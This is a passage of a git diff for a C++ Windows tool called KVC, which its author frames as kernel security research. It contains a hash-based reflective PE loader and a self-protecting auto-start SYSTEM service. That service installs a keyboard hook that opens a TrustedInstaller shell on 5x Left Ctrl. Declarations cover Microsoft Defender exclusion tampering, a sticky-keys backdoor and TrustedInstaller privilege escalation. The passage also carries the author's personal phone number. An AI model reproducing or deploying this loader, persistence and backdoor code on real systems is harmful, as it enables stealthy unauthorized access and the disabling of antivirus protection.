auto pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
}
pFirstThunk->u1.Function = reinterpret_cast<ULONG_PTR>(pfnImportedFunc);
pOriginalFirstThunk++;
pFirstThunk++;
}
}
pImportDesc++;
}
}
// Execute security module entry point with parameter passing
auto fnModuleEntry = reinterpret_cast<DLLMAIN_FN>(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
fnNtFlushInstructionCache(reinterpret_cast<HANDLE>(-1), nullptr, 0);
fnModuleEntry(reinterpret_cast<HINSTANCE>(uiNewImageBase), DLL_PROCESS_ATTACH, lpLoaderParameter);
return uiNewImageBase;
}

90
kvc/SelfLoader.h Normal file
View File

@@ -0,0 +1,90 @@
// SelfLoader.h - Minimal position-independent PE loader
#ifndef SelfLoader_H
#define SelfLoader_H
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>
#if defined(_MSC_VER)
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT
#endif
// Function pointer types for dynamic API resolution
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
// Hash computation constants for position-independent code
#define HASH_KEY 13
// Pre-computed hashes for API resolution without Import Table
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
// Minimal Unicode string for module name access
typedef struct _UNICODE_STRING_LDR
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
// Minimal LDR entry containing only essential fields for module walking
typedef struct _LDR_DATA_TABLE_ENTRY_MINIMAL
{
LIST_ENTRY InLoadOrderLinks; // +0x00
LIST_ENTRY InMemoryOrderLinks; // +0x10 Used for CONTAINING_RECORD
LIST_ENTRY InInitializationOrderLinks; // +0x20
PVOID DllBase; // +0x30 Module base address
PVOID EntryPoint; // +0x38
ULONG SizeOfImage; // +0x40
UNICODE_STRING_LDR FullDllName; // +0x48
UNICODE_STRING_LDR BaseDllName; // +0x58 Module name for hashing
} LDR_DATA_TABLE_ENTRY_MINIMAL, *PLDR_DATA_TABLE_ENTRY_MINIMAL;
// Minimal PEB LDR data containing only module list
typedef struct _PEB_LDR_DATA_MINIMAL
{
BYTE Reserved1[8]; // +0x00
PVOID Reserved2[3]; // +0x08
LIST_ENTRY InMemoryOrderModuleList; // +0x20 Module enumeration list
} PEB_LDR_DATA_MINIMAL, *PPEB_LDR_DATA_MINIMAL;
// Minimal PEB structure with only required fields
typedef struct _PEB_MINIMAL
{
BYTE Reserved1[24]; // +0x00-0x17
PPEB_LDR_DATA_MINIMAL Ldr; // +0x18 Pointer to loader data
} PEB_MINIMAL, *PPEB_MINIMAL;
// Base relocation entry for PE image fix-ups
typedef struct _IMAGE_RELOC_ENTRY
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
// PEB access for position-independent code
#if defined(_M_X64)
#define GET_PEB() reinterpret_cast<PPEB_MINIMAL>(__readgsqword(0x60))
#elif defined(_M_ARM64)
#define GET_PEB() reinterpret_cast<PPEB_MINIMAL>(__readx18qword(0x60))
#else
#error "Unsupported architecture"
#endif
// Entry point export
DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpParameter);
#endif

485
kvc/ServiceManager.cpp Normal file
View File

@@ -0,0 +1,485 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "ServiceManager.h"
#include "Controller.h"
#include "KeyboardHook.h"
#include "common.h"
#include <memory>
// Service static members
SERVICE_STATUS_HANDLE ServiceManager::s_serviceStatusHandle = nullptr;
SERVICE_STATUS ServiceManager::s_serviceStatus = {};
HANDLE ServiceManager::s_serviceStopEvent = nullptr;
volatile bool ServiceManager::s_serviceRunning = false;
// Global service components
static std::unique_ptr<Controller> g_serviceController = nullptr;
static std::unique_ptr<KeyboardHook> g_keyboardHook = nullptr;
bool ServiceManager::InstallService(const std::wstring& exePath) noexcept
{
if (!InitDynamicAPIs()) {
ERROR(L"Failed to initialize service APIs");
return false;
}
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
if (!hSCM) {
ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
return false;
}
// Build service command line with --service parameter
std::wstring servicePath = L"\"" + exePath + L"\" --service";
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
SERVICE_NAME,
SERVICE_DISPLAY_NAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
servicePath.c_str(),
nullptr, // No load ordering group
nullptr, // No tag identifier
nullptr, // No dependencies
nullptr, // LocalSystem account
nullptr // No password
);
if (!hService) {
DWORD error = GetLastError();
CloseServiceHandle(hSCM);
if (error == ERROR_SERVICE_EXISTS) {
INFO(L"Service already exists, attempting to update configuration");
hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_CHANGE_CONFIG);
if (hService) {
BOOL success = ChangeServiceConfigW(
hService,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
servicePath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr, SERVICE_DISPLAY_NAME
);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (success) {
SUCCESS(L"Service configuration updated successfully");
return true;
} else {
ERROR(L"Failed to update service configuration: %d", GetLastError());
return false;
}
}
return false;
}
ERROR(L"Failed to create service: %d", error);
return false;
}
// Set service description
SERVICE_DESCRIPTIONW serviceDesc = {};
serviceDesc.lpDescription = const_cast<wchar_t*>(SERVICE_DESCRIPTION);
ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &serviceDesc);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
SUCCESS(L"Service '%s' installed successfully", SERVICE_DISPLAY_NAME);
// Attempt to start the service
if (StartServiceProcess()) {
SUCCESS(L"Service started successfully");
} else {
INFO(L"Service installed but failed to start automatically");
}
return true;
}
bool ServiceManager::UninstallService() noexcept
{
if (!InitDynamicAPIs()) {
ERROR(L"Failed to initialize service APIs");
return false;
}
// First try to stop the service
StopServiceProcess();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) {
ERROR(L"Failed to open Service Control Manager: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, DELETE);
if (!hService) {
DWORD error = GetLastError();
CloseServiceHandle(hSCM);
if (error == ERROR_SERVICE_DOES_NOT_EXIST) {
INFO(L"Service does not exist");
return true;
}
ERROR(L"Failed to open service for deletion: %d", error);
return false;
}
BOOL success = g_pDeleteService(hService);
DWORD error = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success) {
if (error == ERROR_SERVICE_MARKED_FOR_DELETE) {
SUCCESS(L"Service marked for deletion (will be removed after next reboot)");
return true;
}
ERROR(L"Failed to delete service: %d", error);
return false;
}
SUCCESS(L"Service '%s' uninstalled successfully", SERVICE_DISPLAY_NAME);
return true;
}
bool ServiceManager::StartServiceProcess() noexcept
{
if (!InitDynamicAPIs()) return false;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_START);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
BOOL success = g_pStartServiceW(hService, 0, nullptr);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;
}
bool ServiceManager::StopServiceProcess() noexcept
{
if (!InitDynamicAPIs()) return false;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_STOP);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS status;
BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &status);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success || GetLastError() == ERROR_SERVICE_NOT_ACTIVE;
}
int ServiceManager::RunAsService() noexcept
{
// Enable debug output to Event Log for service debugging
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
freopen_s((FILE**)stderr, "CONOUT$", "w", stderr);
INFO(L"SERVICE MODE: Starting service dispatcher...");
// Service table for dispatcher
SERVICE_TABLE_ENTRYW serviceTable[] = {
{ const_cast<wchar_t*>(SERVICE_NAME), ServiceMain },
{ nullptr, nullptr }
};
// Start service control dispatcher
if (!StartServiceCtrlDispatcherW(serviceTable)) {
ERROR(L"SERVICE MODE: StartServiceCtrlDispatcher failed: %d", GetLastError());
return 1;
}
INFO(L"SERVICE MODE: Service dispatcher completed");
return 0;
}
VOID WINAPI ServiceManager::ServiceMain(DWORD argc, LPWSTR* argv)
{
INFO(L"SERVICE: ServiceMain entry point reached");
// Register service control handler
s_serviceStatusHandle = RegisterServiceCtrlHandlerW(SERVICE_NAME, ServiceCtrlHandler);
if (!s_serviceStatusHandle) {
ERROR(L"SERVICE: RegisterServiceCtrlHandler failed: %d", GetLastError());
return;
}
INFO(L"SERVICE: Control handler registered successfully");
// Initialize service status
s_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
s_serviceStatus.dwCurrentState = SERVICE_START_PENDING;
s_serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
s_serviceStatus.dwWin32ExitCode = NO_ERROR;
s_serviceStatus.dwServiceSpecificExitCode = 0;
s_serviceStatus.dwCheckPoint = 0;
s_serviceStatus.dwWaitHint = 5000;
SetServiceStatus(SERVICE_START_PENDING, NO_ERROR, 5000);
INFO(L"SERVICE: Status set to START_PENDING");
// Create stop event
s_serviceStopEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
if (!s_serviceStopEvent) {
ERROR(L"SERVICE: Failed to create service stop event: %d", GetLastError());
SetServiceStatus(SERVICE_STOPPED, GetLastError());
return;
}
INFO(L"SERVICE: Stop event created successfully");
// SET RUNNING FLAG BEFORE INITIALIZING COMPONENTS
s_serviceRunning = true;
INFO(L"SERVICE: Service running flag set to TRUE");
// Initialize service components
if (!InitializeServiceComponents()) {
ERROR(L"SERVICE: Failed to initialize service components");
SetServiceStatus(SERVICE_STOPPED, ERROR_SERVICE_SPECIFIC_ERROR);
ServiceCleanup();
return;
}
INFO(L"SERVICE: Components initialized successfully");
// Create worker thread
HANDLE hWorkerThread = CreateThread(nullptr, 0, ServiceWorkerThread, nullptr, 0, nullptr);
if (!hWorkerThread) {
ERROR(L"SERVICE: Failed to create worker thread: %d", GetLastError());
SetServiceStatus(SERVICE_STOPPED, GetLastError());
ServiceCleanup();
return;
}
INFO(L"SERVICE: Worker thread created successfully");
// Service is now running
SetServiceStatus(SERVICE_RUNNING);
SUCCESS(L"SERVICE: Kernel Vulnerability Capabilities Framework service started successfully");
// Wait for stop signal
INFO(L"SERVICE: Waiting for worker thread completion...");
WaitForSingleObject(hWorkerThread, INFINITE);
CloseHandle(hWorkerThread);
INFO(L"SERVICE: Worker thread completed, performing cleanup...");
// Cleanup and exit
ServiceCleanup();
SetServiceStatus(SERVICE_STOPPED);
INFO(L"SERVICE: ServiceMain exiting");
}
VOID WINAPI ServiceManager::ServiceCtrlHandler(DWORD ctrlCode)
{
switch (ctrlCode) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
INFO(L"SERVICE: Stop/shutdown requested");
SetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
s_serviceRunning = false;
if (s_serviceStopEvent) {
SetEvent(s_serviceStopEvent);
}
break;
case SERVICE_CONTROL_INTERROGATE:
SetServiceStatus(s_serviceStatus.dwCurrentState);
break;
default:
INFO(L"SERVICE: Unknown control code received: %d", ctrlCode);
break;
}
}
DWORD WINAPI ServiceManager::ServiceWorkerThread(LPVOID param)
{
INFO(L"SERVICE WORKER: Thread started, running flag = %s", s_serviceRunning ? L"TRUE" : L"FALSE");
DWORD loopCount = 0;
// Main service loop
while (s_serviceRunning) {
loopCount++;
if (loopCount % 12 == 0) { // Every minute (12 * 5 seconds)
INFO(L"SERVICE WORKER: Heartbeat - loop iteration %d", loopCount);
}
// Wait for stop event with timeout for periodic tasks
DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 5000);
if (waitResult == WAIT_OBJECT_0) {
INFO(L"SERVICE WORKER: Stop event signaled");
break;
}
if (waitResult == WAIT_TIMEOUT) {
// Normal timeout, continue loop
continue;
}
if (waitResult == WAIT_FAILED) {
ERROR(L"SERVICE WORKER: WaitForSingleObject failed: %d", GetLastError());
break;
}
}
INFO(L"SERVICE WORKER: Thread exiting after %d iterations", loopCount);
return 0;
}
bool ServiceManager::SetServiceStatus(DWORD currentState, DWORD exitCode, DWORD waitHint) noexcept
{
static DWORD checkPoint = 1;
s_serviceStatus.dwCurrentState = currentState;
s_serviceStatus.dwWin32ExitCode = exitCode;
s_serviceStatus.dwWaitHint = waitHint;
if (currentState == SERVICE_START_PENDING || currentState == SERVICE_STOP_PENDING) {
s_serviceStatus.dwCheckPoint = checkPoint++;
} else {
s_serviceStatus.dwCheckPoint = 0;
}
BOOL result = ::SetServiceStatus(s_serviceStatusHandle, &s_serviceStatus);
const wchar_t* stateName = L"UNKNOWN";
switch (currentState) {
case SERVICE_START_PENDING: stateName = L"START_PENDING"; break;
case SERVICE_RUNNING: stateName = L"RUNNING"; break;
case SERVICE_STOP_PENDING: stateName = L"STOP_PENDING"; break;
case SERVICE_STOPPED: stateName = L"STOPPED"; break;
}
INFO(L"SERVICE: Status set to %s, result = %s", stateName, result ? L"SUCCESS" : L"FAILED");
return result != FALSE;
}
bool ServiceManager::InitializeServiceComponents() noexcept
{
INFO(L"SERVICE INIT: Starting component initialization...");
try {
// Initialize controller with atomic operations
INFO(L"SERVICE INIT: Creating Controller instance...");
g_serviceController = std::make_unique<Controller>();
INFO(L"SERVICE INIT: Controller created successfully");
// Self-protect the service with PP-WinTcb
INFO(L"SERVICE INIT: Attempting self-protection with PP-WinTcb...");
if (!g_serviceController->SelfProtect(L"PP", L"WinTcb")) {
ERROR(L"SERVICE INIT: Failed to set service self-protection to PP-WinTcb");
// Continue anyway - protection failure is not critical for basic operation
} else {
SUCCESS(L"SERVICE INIT: Service protected with PP-WinTcb");
}
// Initialize keyboard hook for 5x Left Ctrl - THIS IS OPTIONAL
INFO(L"SERVICE INIT: Attempting to install keyboard hook...");
g_keyboardHook = std::make_unique<KeyboardHook>();
if (!g_keyboardHook->Install()) {
ERROR(L"SERVICE INIT: Failed to install keyboard hook - continuing without it");
// Don't fail the service if keyboard hook fails
// Services often can't access interactive desktop
g_keyboardHook.reset();
} else {
SUCCESS(L"SERVICE INIT: Keyboard hook installed (5x Left Ctrl → TrustedInstaller CMD)");
}
INFO(L"SERVICE INIT: Component initialization completed successfully");
return true;
} catch (const std::exception& e) {
std::string msg = e.what();
std::wstring wmsg(msg.begin(), msg.end());
ERROR(L"SERVICE INIT: Exception during initialization: %s", wmsg.c_str());
return false;
} catch (...) {
ERROR(L"SERVICE INIT: Unknown exception during initialization");
return false;
}
}
void ServiceManager::ServiceCleanup() noexcept
{
INFO(L"SERVICE CLEANUP: Starting cleanup process...");
// Cleanup keyboard hook
if (g_keyboardHook) {
INFO(L"SERVICE CLEANUP: Uninstalling keyboard hook...");
g_keyboardHook->Uninstall();
g_keyboardHook.reset();
INFO(L"SERVICE CLEANUP: Keyboard hook cleanup completed");
}
// Cleanup controller (automatic driver cleanup)
if (g_serviceController) {
INFO(L"SERVICE CLEANUP: Cleaning up controller...");
g_serviceController.reset();
INFO(L"SERVICE CLEANUP: Controller cleanup completed");
}
// Close stop event
if (s_serviceStopEvent) {
INFO(L"SERVICE CLEANUP: Closing stop event...");
CloseHandle(s_serviceStopEvent);
s_serviceStopEvent = nullptr;
INFO(L"SERVICE CLEANUP: Stop event closed");
}
SUCCESS(L"SERVICE CLEANUP: All cleanup completed");
}

45
kvc/ServiceManager.h Normal file
View File

@@ -0,0 +1,45 @@
#pragma once
#include "common.h"
#include <string>
#include <memory>
// NT Service management for single-binary deployment
class ServiceManager
{
public:
ServiceManager() = default;
~ServiceManager() = default;
ServiceManager(const ServiceManager&) = delete;
ServiceManager& operator=(const ServiceManager&) = delete;
// Service lifecycle management
static bool InstallService(const std::wstring& exePath) noexcept;
static bool UninstallService() noexcept;
static bool StartServiceProcess() noexcept;
static bool StopServiceProcess() noexcept;
static int RunAsService() noexcept;
// Service configuration
static constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
static constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
static constexpr const wchar_t* SERVICE_DESCRIPTION = L"Provides kernel-level process protection and vulnerability assessment capabilities";
private:
// Service entry points
static VOID WINAPI ServiceMain(DWORD argc, LPWSTR* argv);
static VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode);
static DWORD WINAPI ServiceWorkerThread(LPVOID param);
// Service state management
static SERVICE_STATUS_HANDLE s_serviceStatusHandle;
static SERVICE_STATUS s_serviceStatus;
static HANDLE s_serviceStopEvent;
static volatile bool s_serviceRunning;
// Internal helpers
static bool SetServiceStatus(DWORD currentState, DWORD exitCode = NO_ERROR, DWORD waitHint = 0) noexcept;
static void ServiceCleanup() noexcept;
static bool InitializeServiceComponents() noexcept;
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,82 @@
#pragma once
#include <windows.h>
#include <string>
#include <vector>
// TrustedInstaller privilege escalation for maximum system access
class TrustedInstallerIntegrator
{
public:
TrustedInstallerIntegrator();
~TrustedInstallerIntegrator();
// Enhanced exclusion types for comprehensive Defender management
enum class ExclusionType {
Paths,
Processes,
Extensions,
IpAddresses
};
// Main public interface for elevated operations
bool RunAsTrustedInstaller(const std::wstring& commandLine);
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
// Legacy exclusion management (backward compatibility)
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
bool AddContextMenuEntries();
// Enhanced exclusion management with type specification
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
// Type-specific exclusion methods for convenience
bool AddExtensionExclusion(const std::wstring& extension);
bool RemoveExtensionExclusion(const std::wstring& extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress);
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
// Sticky keys backdoor management
bool InstallStickyKeysBackdoor() noexcept;
bool RemoveStickyKeysBackdoor() noexcept;
// Process exclusion management for Defender bypass
bool AddProcessToDefenderExclusions(const std::wstring& processName);
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
// Public access methods for Controller integration
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
bool PublicImpersonateSystem() { return ImpersonateSystem(); }
// TrustedInstaller token management
HANDLE GetCachedTrustedInstallerToken();
DWORD StartTrustedInstallerService();
private:
// Privilege and process management
BOOL EnablePrivilege(LPCWSTR privilegeName);
DWORD GetProcessIdByName(LPCWSTR processName);
BOOL ImpersonateSystem();
// Process creation with TrustedInstaller token
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
// Shortcut file handling for .lnk support
std::wstring ResolveLnk(LPCWSTR lnkPath);
BOOL IsLnkFile(LPCWSTR filePath);
bool AddPathExclusion(const std::wstring& path);
// Validation and helper methods for exclusions
bool ValidateExtension(const std::wstring& extension) noexcept;
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
std::wstring GetExclusionTypeString(ExclusionType type) noexcept;
// Complete Windows privilege set for maximum access
static const LPCWSTR ALL_PRIVILEGES[];
static const int PRIVILEGE_COUNT;
};

902
kvc/Utils.cpp Normal file
View File

@@ -0,0 +1,902 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// Utils.cpp - Fixed compilation issues with NtQuerySystemInformation
#include "Utils.h"
#include "common.h"
#include <psapi.h>
#include <tlhelp32.h>
#include <unordered_map>
#include <unordered_set>
#include <algorithm>
#include <cctype>
#include <charconv>
#include <fstream>
#include <vector>
#include <filesystem>
#include "resource.h"
namespace fs = std::filesystem;
#pragma comment(lib, "psapi.lib")
namespace Utils
{
// Optimized kernel address resolution with inline assembly hints
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept {
static ULONG_PTR cachedBase = 0;
static DWORD lastCheck = 0;
const DWORD currentTick = static_cast<DWORD>(GetTickCount64());
if (cachedBase != 0 && (currentTick - lastCheck) < 60000) { // Cache for 1 minute
return cachedBase;
}
// Method 1: NtQuerySystemInformation
typedef NTSTATUS(WINAPI* pNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
const HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) return std::nullopt;
const pNtQuerySystemInformation NtQuerySystemInformation =
reinterpret_cast<pNtQuerySystemInformation>(
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!NtQuerySystemInformation) return std::nullopt;
ULONG bufferSize = 0;
NtQuerySystemInformation(11, nullptr, 0, &bufferSize); // SystemModuleInformation
if (bufferSize == 0) return std::nullopt;
std::vector<BYTE> buffer(bufferSize);
const NTSTATUS status = NtQuerySystemInformation(11, buffer.data(), bufferSize, nullptr);
if (status == 0) { // STATUS_SUCCESS
struct SYSTEM_MODULE {
ULONG_PTR Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
};
struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
};
const auto* moduleInfo = reinterpret_cast<const SYSTEM_MODULE_INFORMATION*>(buffer.data());
if (moduleInfo->ModulesCount > 0) {
cachedBase = reinterpret_cast<ULONG_PTR>(moduleInfo->Modules[0].Base);
lastCheck = currentTick;
return cachedBase;
}
}
return std::nullopt;
}
// Optimized PID parsing with zero-allocation validation
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept {
if (pidStr.empty() || pidStr.size() > 10) return std::nullopt;
DWORD result = 0;
for (const wchar_t ch : pidStr) {
if (ch < L'0' || ch > L'9') return std::nullopt;
if (result > (UINT32_MAX - (ch - L'0')) / 10) return std::nullopt;
result = result * 10 + (ch - L'0');
}
return result;
}
// Optimized numeric validation - single pass
bool IsNumeric(const std::wstring& str) noexcept {
return !str.empty() &&
std::all_of(str.begin(), str.end(), [](wchar_t ch) {
return ch >= L'0' && ch <= L'9';
});
}
// Force delete a file, handling read-only, system, and hidden attributes
bool ForceDeleteFile(const std::wstring& path) noexcept {
// First, try normal delete
if (DeleteFileW(path.c_str())) {
return true;
}
// If that fails, try to remove attributes and delete again
DWORD attrs = GetFileAttributesW(path.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
// Remove read-only, system, hidden attributes
SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL);
}
// Try delete again
if (DeleteFileW(path.c_str())) {
return true;
}
// Final attempt: move to temp and delete after reboot if needed
wchar_t tempPath[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempPath)) {
wchar_t tempFile[MAX_PATH];
if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) {
if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) {
MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT);
return true;
}
}
}
return false;
}
// Enhanced file writing with comprehensive error handling and retry logic
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) {
if (data.empty()) return false;
// Ensure parent directory exists
const fs::path filePath = path;
std::error_code ec;
fs::create_directories(filePath.parent_path(), ec);
// First, try to delete existing file if it exists
if (fs::exists(filePath)) {
if (!ForceDeleteFile(path)) {
// If we can't delete, try to overwrite by opening with FILE_FLAG_BACKUP_SEMANTICS
HANDLE hFile = CreateFileW(path.c_str(),
GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS,
nullptr);
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
} else {
return false;
}
}
}
// Primary write attempt with optimized flags
HANDLE hFile = CreateFileW(path.c_str(),
GENERIC_WRITE,
0, // No sharing during write
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN,
nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
// Write data in chunks for large files to handle memory pressure
constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks
DWORD totalWritten = 0;
const DWORD totalSize = static_cast<DWORD>(data.size());
while (totalWritten < totalSize) {
const DWORD bytesToWrite = std::min(CHUNK_SIZE, totalSize - totalWritten);
DWORD bytesWritten;
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) {
CloseHandle(hFile);
DeleteFileW(path.c_str()); // Cleanup partial file
return false;
}
if (bytesWritten != bytesToWrite) {
CloseHandle(hFile);
DeleteFileW(path.c_str()); // Cleanup partial file
return false;
}
totalWritten += bytesWritten;
}
// Ensure data is flushed to disk
FlushFileBuffers(hFile);
CloseHandle(hFile);
return true;
}
// Optimized file reading with memory mapping for large files
std::vector<BYTE> ReadFile(const std::wstring& path) {
HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
return {};
}
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(hFile, &fileSize)) {
CloseHandle(hFile);
return {};
}
// Use memory mapping for files > 64KB for better performance
if (fileSize.QuadPart > 65536) {
HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr);
if (hMapping) {
void* pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (pData) {
std::vector<BYTE> result(static_cast<const BYTE*>(pData),
static_cast<const BYTE*>(pData) + fileSize.QuadPart);
UnmapViewOfFile(pData);
CloseHandle(hMapping);
CloseHandle(hFile);
return result;
}
CloseHandle(hMapping);
}
}
// Fallback to standard read for small files or mapping failure
std::vector<BYTE> buffer(static_cast<size_t>(fileSize.QuadPart));
DWORD bytesRead;
BOOL success = ::ReadFile(hFile, buffer.data(), static_cast<DWORD>(buffer.size()), &bytesRead, nullptr);
CloseHandle(hFile);
if (!success || bytesRead != buffer.size()) {
return {};
}
return buffer;
}
// Enhanced resource extraction with validation
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType) {
